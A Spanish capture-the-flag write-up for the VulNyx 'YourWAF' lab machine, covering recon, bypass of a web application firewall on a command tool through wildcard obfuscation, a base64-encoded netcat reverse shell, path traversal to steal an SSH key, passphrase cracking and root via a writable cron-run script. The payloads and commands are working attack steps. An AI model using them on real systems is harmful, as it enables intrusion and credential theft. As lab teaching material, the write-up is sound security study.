VulNyx - YourWAF

logo

  • Command Obfuscation via Wildcards
  • Path Traversal to Access Sensitive Files via API Token
  • Brute-Forcing SSH Private Key Passphrase with John the Ripper
  • Privilege Escalation via Writable Script Executed by Root (copylogs.sh)

Escaneo de puertos

❯ nmap -p- -sS --min-rate 5000 -vvv -n -Pn 172.0.100.37

PORT     STATE SERVICE REASON
22/tcp   open  ssh     syn-ack ttl 64
80/tcp   open  http    syn-ack ttl 64
3000/tcp open  ppp     syn-ack ttl 64

Escaneo de servicios

❯ nmap -sVC -p 22,80,3000 172.0.100.37

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey: 
|   256 1c:ec:5c:5b:fd:fc:ba:f3:4c:1b:0b:70:e6:ef:bf:12 (ECDSA)
|_  256 26:18:c8:ec:34:aa:d5:b9:28:a1:e2:83:b0:d3:45:2e (ED25519)
80/tcp   open  http    Apache httpd 2.4.59 ((Debian))
|_http-title: 403 Forbidden
|_http-server-header: Apache/2.4.59 (Debian)
3000/tcp open  http    Node.js (Express middleware)
|_http-title: Site doesn't have a title (text/html; charset=utf-8).

HTTP - TCP 80

http

Añadí el dominio al archivo /etc/hosts para poder acceder a la web.

ywaf

HTTP - TCP 3000

Al acceder al puerto 3000, el servidor responde con un mensaje de Unauthorized.

d3000

Enumero directorios en el puerto 3000 y aparecen varias rutas interesantes.

❯ ffuf -t 100 -c -fc 404 -fs 280 -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://www.yourwaf.nyx:3000/FUZZ

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://www.yourwaf.nyx:3000/FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/common.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 50
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response status: 404
 :: Filter           : Response size: 280
________________________________________________

Logs                    [Status: 200, Size: 226621106, Words: 0, Lines: 0, Duration: 0ms]
logs                    [Status: 200, Size: 247057905, Words: 0, Lines: 0, Duration: 0ms]
readfile                [Status: 200, Size: 13, Words: 1, Lines: 1, Duration: 60ms]

La única URL que devuelve contenido es /logs.

logs

Al no obtener información relevante, decidí hacer enumeración de subdominios.

❯ ffuf -t 100 -c -fw 1 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "User-Agent: morzilla" -H "Host: FUZZ.yourwaf.nyx" -u http://www.yourwaf.nyx

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://www.yourwaf.nyx
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
 :: Header           : Host: FUZZ.yourwaf.nyx
 :: Header           : User-Agent: morzilla
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 100
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response words: 1
________________________________________________

www                     [Status: 200, Size: 10722, Words: 3594, Lines: 171, Duration: 50ms]
maintenance             [Status: 200, Size: 292, Words: 58, Lines: 14, Duration: 165ms]

Modifico el archivo hosts y le añado el subdominio para visualizar la web.

❯ echo "172.0.100.37 maintenance.yourwaf.nyx" | sudo tee -a /etc/hosts

Al visitar el nuevo subdominio, me encuentro con una herramienta que permite ejecutar comandos en el servidor.

subdomain

Puedo ejecutar el comando id sin problemas y obtengo la respuesta esperada con los detalles del usuario.

edc

Al intentar ejecutar cat /etc/passwd, el servidor responde con un 403 Forbidden, lo que indica que hay algún tipo de restricción o filtro (como un WAF) que bloquea el acceso a ese recurso.

catetc

Command Wildcard Obfuscation

Uso comodines como ? para ofuscar el comando /bin/cat /etc/passwd. Al ejecutarlo con los comodines /?i?/c?t /?t?/passwd | base64, obtengo una salida codificada, lo que indica que el comando se ejecutó correctamente.

catetcmod

¿Por qué los “?” funcionan?

El signo ? en rutas de comandos o scripts puede tener diferentes usos según el sistema.
En bash, funciona como un comodín que representa un solo carácter en nombres de archivo.

Ejemplo:
El comando ls /b?n/bash busca cualquier ruta que empiece con “b”, tenga un carácter cualquiera en lugar de ?, y continúe con bash. Por ejemplo, /b?n/bash podría coincidir con /bin/bash si esa ruta existe y no hay otras coincidencias.

Al analizarla con CyberChef, la decodifiqué correctamente y logré visualizar el contenido del archivo /etc/passwd.

cyberchef64

Sabiendo que los comandos directos estaban siendo bloqueados, codifico una reverse shell en base64:

❯ echo "nc -c /bin/bash 172.0.100.25 1337" | base64
bmMgLWMgL2Jpbi9iYXNoIDE3Mi4wLjEwMC4yNSAxMzM3Cg==

La idea es decodificar y ejecutar la shell directamente desde la máquina objetivo. El payload quedaría así:

/bin/echo bmMgLWMgL2Jpbi9iYXNoIDE3Mi4wLjEwMC4yNSAxMzM3Cg== | base64 -d | /bin/bash -e

Sin embargo, lanzarlo de esta forma puede ser detectado fácilmente por el WAF. Para evadirlo, modifico algunos caracteres usando comodines:

/b?n/e?ho bmMgLWMgL2Jpbi9iYXNoIDE3Mi4wLjEwMC4yNSAxMzM3Cg== | base64 -d | /b?n/b?sh -e

Así logro ofuscar el comando manteniendo su funcionalidad y obtener una shell como usuario www-data.

rs1337

Enumero los procesos en ejecución con ps y logro identificar un archivo interesante:

ps aux | grep node

Esto me permite encontrar el proceso de una aplicación Node.js que está ejecutando el archivo server.js, ubicado en la ruta /opt/nodeapp/server.js.

www-data@yourwaf:/$ ps aux | grep node
root         602  0.5  1.6 687252 84704 ?        Ssl  15:21   0:34 node /opt/nodeapp/server.js
www-data    3743  0.0  0.0   3324  1504 pts/0    S+   16:58   0:00 grep node

Dentro del directorio /opt/nodeapp se encuentran los siguientes archivos:

www-data@yourwaf:/opt/nodeapp$ ls -la
ls -la
total 60
drwxr-xr-x  4 root root      4096 May 26  2024 .
drwxr-xr-x  3 root root      4096 May 26  2024 ..
-rwxrwxr-x  1 root copylogs   111 May 26  2024 copylogs.sh
-rw-r--r--  1 root root       232 May 26  2024 ecosystem.config.js
drwxr-xr-x  2 root root      4096 May 26  2024 logs
drwxr-xr-x 66 root root      4096 May 26  2024 node_modules
-rw-r--r--  1 root root     25436 May 26  2024 package-lock.json
-rw-r--r--  1 root root       303 May 26  2024 package.json
-rw-r--r--  1 root root      1247 May 26  2024 server.js

Estos archivos son típicos de una aplicación Node.js. El más relevante para el análisis inicial suele ser server.js, ya que generalmente contiene la configuración principal del servidor. Al revisar el archivo server.js en /opt/nodeapp, encontré una API token incrustada en el código. Esto podría permitir el acceso no autorizado a la API si se utiliza de manera indebida.

apiToken

Path Traversal mediante API token

Durante la revisión de la aplicación, descubrí que la funcionalidad readfile en el puerto 3000 permitía la lectura de archivos del sistema a través de una petición HTTP. Para realizar esta acción, es necesario proporcionar un token de API válido y el nombre del archivo que se desea leer.

En este caso, utilicé el siguiente comando curl para intentar leer el archivo de claves privadas SSH id_rsa del usuario tester:

❯ curl "http://www.yourwaf.nyx:3000/readfile?api-token=8c2b6a304191b8e2d81aaa5d1131d83d&file=../../../../../../home/tester/.ssh/id_rsa" -o -

rsa

Una vez obtenido el archivo id_rsa a través de la vulnerabilidad de path traversal, intenté utilizarlo para autenticarme en el sistema SSH de la máquina comprometida con el siguiente comando:

❯ ssh tester@172.0.100.37 -i id_rsa

Sin embargo, me solicitó una frase de contraseña (passphrase) para poder usar la clave privada. Esto indica que el archivo id_rsa está cifrado y protegido por un passphrase.

Para descifrar el passphrase, utilicé ssh2john para extraer el hash de la clave privada en formato compatible:

❯ ssh2john id_rsa > hashrsa 

Luego, utilicé John the Ripper para intentar crackear el passphrase:

❯ john --wordlist=/usr/share/wordlists/rockyou.txt hashrsa
w*****           (id_rsa) 

Después de obtener el passphrase correcto para la clave privada id_rsa, logré acceder al servidor SSH de la máquina comprometida como el usuario tester.

❯ ssh tester@172.0.100.37 -i id_rsa
Enter passphrase for key 'id_rsa': 
Linux yourwaf 6.1.0-21-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.90-1 (2024-05-03) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
tester@yourwaf:~$ 

Una vez dentro del sistema, utilicé el comando id para obtener información sobre el usuario tester. El resultado muestra que tester pertenece al grupo copylogs (ID de grupo 1001), lo cual puede ser relevante al explorar permisos y archivos específicos.

tester@yourwaf:~$ id
uid=1000(tester) gid=1000(tester) grupos=1000(tester),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev),1001(copylogs)

Utilicé pspy64 para enumerar los procesos en ejecución y ver qué scripts o programas podrían estar ejecutándose con privilegios elevados. Durante este proceso, identifiqué que /bin/bash estaba ejecutando el script copylogs.sh, ubicado en el directorio /opt/nodeapp:

pspy64

Al investigar el archivo copylogs.sh ubicado en /opt/nodeapp, comprobé que el usuario tester tiene permisos de escritura sobre el archivo debido a que pertenece al grupo copylogs. Esto se confirmó con el siguiente comando:

tester@yourwaf:~$ ls -la /opt/nodeapp/copylogs.sh
-rwxrwxr-x 1 root copylogs 147 abr 21 16:02

Explotación de la vulnerabilidad mediante copylogs.sh

Para aprovechar la vulnerabilidad, edité el archivo copylogs.sh utilizando el editor nano, dado que tester tiene permisos de escritura en este archivo. Inserté una reverseshell utilizando netcat, con el siguiente comando:

copylogs

Después de modificar el archivo, esperé unos segundos y observé que se estableció una conexión de red, obteniendo una shell de root en el sistema:

root

Y así concluye el viaje en la máquina YourWAF.

Que el destino te guíe.

Saludos.